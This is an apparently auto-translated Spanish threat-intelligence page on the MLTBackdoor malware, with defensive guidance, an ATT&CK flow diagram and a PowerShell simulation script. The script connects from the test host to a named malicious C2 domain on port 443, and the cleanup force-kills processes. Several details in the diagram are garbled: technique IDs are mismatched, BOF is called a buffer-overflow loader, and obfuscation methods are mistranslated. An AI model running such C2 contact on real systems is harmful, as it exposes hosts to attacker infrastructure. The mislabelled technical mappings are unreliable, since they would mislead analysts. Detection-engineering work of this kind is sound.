SOC Prime Bias: Alto

10 Jun 2026 20:37 UTC

Análisis Técnico de MLTBackdoor

Author Photo
SOC Prime Team linkedin icon Seguir
Análisis Técnico de MLTBackdoor
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Zscaler ThreatLabz identificó una nueva familia de malware, MLTBackdoor, en mayo de 2026. La amenaza se distribuye a través de una cadena de infección ClickFix de múltiples etapas y parece ser utilizada por operadores de ransomware para establecer acceso inicial y apoyar el movimiento lateral. El malware se basa en una fuerte ofuscación, un algoritmo de generación de dominios y un cargador de Archivos de Objetos Beacon (BOF) para expandir sus capacidades después de la ejecución. Sus comunicaciones de red están encriptadas mediante TLS y están diseñadas para parecer tráfico legítimo de Microsoft Delivery Optimization, ayudando a que la actividad se mezcle con el comportamiento normal de la red.

Investigación

El análisis siguió la cadena de infección de regreso a un conhost.exe wrapper que descargó un archivo comprimido desde un dominio generado a través de la lógica DGA del malware. Dentro de ese archivo, endpointdlp.dll desencriptó una carga útil cifrada con RC4 que luego se cargó como el binario MLTBackdoor. Los investigadores encontraron que el malware usa aritmética booleana mixta, aplanamiento de flujo de control, llamadas al sistema indirectas y un protocolo de comunicación cifrado personalizado para dificultar el análisis y la detección. El cargador BOF incrustado también permite a los operadores ejecutar módulos adicionales tipo Cobalt Strike en la memoria.

Mitigación

Los defensores deben bloquear los dominios de comando y control identificados y monitorear los patrones DGA relacionados. La detección también debe centrarse en la cadena de agente de usuario específica y el tráfico TLS dirigido a /api/v1/telemetry por el puerto 443. Los equipos de seguridad deben vigilar el uso sospechoso de conhost.exe con los argumentos documentados y la creación de endpointdlp.dll en directorios temporales. Las detecciones basadas en comportamiento para el hashing de API y el uso de llamadas al sistema indirectas pueden mejorar aún más la visibilidad en la actividad de MLTBackdoor.

Respuesta

Si se detecta actividad de MLTBackdoor, aísle el punto final afectado de inmediato, termine el proceso malicioso y elimine cualquier archivo colocado en el directorio Temp por el cargador inicial. Luego, los investigadores deben realizar una revisión forense para detectar módulos BOF adicionales o cargas útiles subsiguientes. Cualquier credencial potencialmente expuesta debe ser restablecida, y la búsqueda de amenazas debe expandirse para identificar intentos de movimiento lateral utilizando la misma táctica.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 %% Nodes step_a["<b>Técnica</b> – <b>T1189 Compromiso por Navegación</b>: El adversario aloja contenido malicioso que se entrega cuando una víctima visita un sitio web comprometido.<br/><b>Técnica</b> – <b>T1204.001 Ejecución del Usuario: Enlace Malicioso</b>: La víctima hace clic en un enlace creado que activa la ejecución de la carga útil."] class step_a action step_b["<b>Técnica</b> – <b>T1659 Inyección de Contenido</b>: Se inyecta código malicioso en páginas web legítimas para que los visitantes reciban el contenido comprometido."] class step_b action step_c["<b>Técnica</b> – <b>T1553.002 Ejecución Proxy de Binarios Firmados (Defender)</b>: Uso de un binario firmado de Microsoft Defender para ejecutar un proxy.<br/><b>Técnica</b> – <b>T1574.001 Secuestro del Flujo de Ejecución: Secuestro del Orden de Búsqueda DLL</b>: Carga código malicioso manipulando el orden de resolución de DLL.<br/><b>Técnica</b> – <b>T1218 Ejecución Proxy de Binarios Firmados</b>: Ejecuta cargas útiles a través de binarios firmados de confianza."] class step_c action step_d["<b>Técnica</b> – <b>T1027.007 Archivos Ofuscados/Almacenados: Payload Incrustado</b>: La carga útil se ofusca utilizando análisis binario de macros (MBA) y formato de archivo comprimido (CFF) para evadir la detección."] class step_d action step_e["<b>Técnica</b> – <b>T1497.001 Evasión de Virtualización/Sandbox: Comprobaciones del Sistema</b>: Verificaciones de entornos virtualizados.<br/><b>Técnica</b> – <b>T1497.003 Evasión de Virtualización/Sandbox: Comprobaciones de Tiempo</b>: Usa comprobaciones de tiempo para detectar análisis.<br/><b>Técnica</b> – <b>T1622 Evasión de Depuradores</b>: Detecta la presencia de depuradores y altera el comportamiento."] class step_e action step_f["<b>Técnica</b> – <b>T1568 Generar, Ofuscar o Cambiar un Nombre de Dominio</b>: Genera numerosos nombres de dominio para comando y control.<br/><b>Técnica</b> – <b>T1104 Servicio Web (C2 de respaldo)</b>: Utiliza un servicio web como canal de comunicación de respaldo."] class step_f action step_g["<b>Técnica</b> – <b>T1090 Proxy</b>: Redirige el tráfico C2 a través de un proxy.<br/><b>Técnica</b> – <b>T1205 Señalización de Tráfico</b>: Codifica información de señalización dentro del tráfico legítimo.<br/><b>Técnica</b> – <b>T1001.003 Tráfico de Red Ofuscado/Cifrado: Suplantación de Protocolo</b>: Se disfraza como tráfico normal de TLS 443 con un agente de usuario falsificado."] class step_g action step_h["<b>Técnica</b> – <b>T1105 Transferencia de Herramientas de Ingreso</b>: Transfiere una carga útil de segunda etapa al host comprometido a través de la red."] class step_h action step_i["<b>Técnica</b> – <b>T1546.006 Ejecución Activada por Evento: Secuestro del Modelo de Objetos de Componentes (Cargador BOF)</b>: Carga y ejecuta Archivos de Objetos Beacon utilizando un cargador de Desbordamiento de Buffer (BOF)."] class step_i malware %% Connections step_a –>|leads_to| step_b step_b –>|leads_to| step_c step_c –>|leads_to| step_d step_d –>|leads_to| step_e step_e –>|leads_to| step_f step_f –>|leads_to| step_g step_g –>|leads_to| step_h step_h –>|leads_to| step_i "

Flujo de Ataque

Ejecución de Simulación

Requisito previo: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente las TTPs identificadas y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados conducirán a un diagnóstico erróneo.

  • Narrativa de Ataque y Comandos:

    1. Recon – Resolver dominio DGA – El backdoor genera una consulta DNS para hrs2y15sungu.com, un dominio producido por su DGA interna.
    2. Contacto C2 – Abrir un socket TCP – Usando PowerShell, el adversario crea una conexión TCP sin procesar al IP resuelto en el puerto 443 (HTTPS) para mezclarse con el tráfico normal.
    3. Recuperación de Carga Útil (T1105) – Sobre el mismo socket el backdoor extraerá módulos adicionales; para la prueba simplemente enviamos una cadena inofensiva.

    Estos pasos emiten un registro del Evento ID 3 de Sysmon con DestinationHostname = hrs2y15sungu.com, satisfaciendo la selección condición de la regla Sigma.

  • Script de Prueba de Regresión:

    # TC-20260610-A7B3Z – Simular comunicación C2 de MLTBackdoor
    # -------------------------------------------------------
    # 1. Resolver el dominio malicioso (salida DGA simulada)
    $malDomain = "hrs2y15sungu.com"
    try {
        $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString
    } catch {
        Write-Error "No se pudo resolver $malDomain – se aborta la prueba."
        exit 1
    }
    
    # 2. Abrir una conexión TCP al IP resuelto en el puerto 443
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($ip, $port)
    
    # 3. Enviar una carga útil inofensiva (simulando extracción de módulo)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD")
    $stream.Write($payload, 0, $payload.Length)
    
    # 4. Mantener la conexión viva brevemente para garantizar la generación de registros
    Start-Sleep -Seconds 5
    
    # 5. Limpieza
    $stream.Close()
    $client.Close()
    Write-Output "Simulación completada – conexión a $malDomain ($ip:$port) cerrada."
  • Comandos de Limpieza:

    # Asegúrese de que no queden sockets residuales (en caso de que el script haya abortado)
    Get-NetTCPConnection -RemotePort 443 |
        Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } |
        ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }